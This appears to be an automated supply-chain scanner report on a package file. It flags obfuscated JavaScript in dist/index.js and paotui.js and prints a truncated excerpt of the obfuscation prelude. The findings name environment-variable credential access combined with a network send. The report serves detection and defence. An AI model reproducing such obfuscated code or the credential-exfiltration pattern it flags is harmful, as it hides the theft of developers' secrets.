__getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Static analysis

Detected: suspicious.env_credential_access, suspicious.obfuscated_code

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
paotui.js:2

Potential obfuscated payload detected.

Warn
Code
suspicious.obfuscated_code
Location
paotui.js:2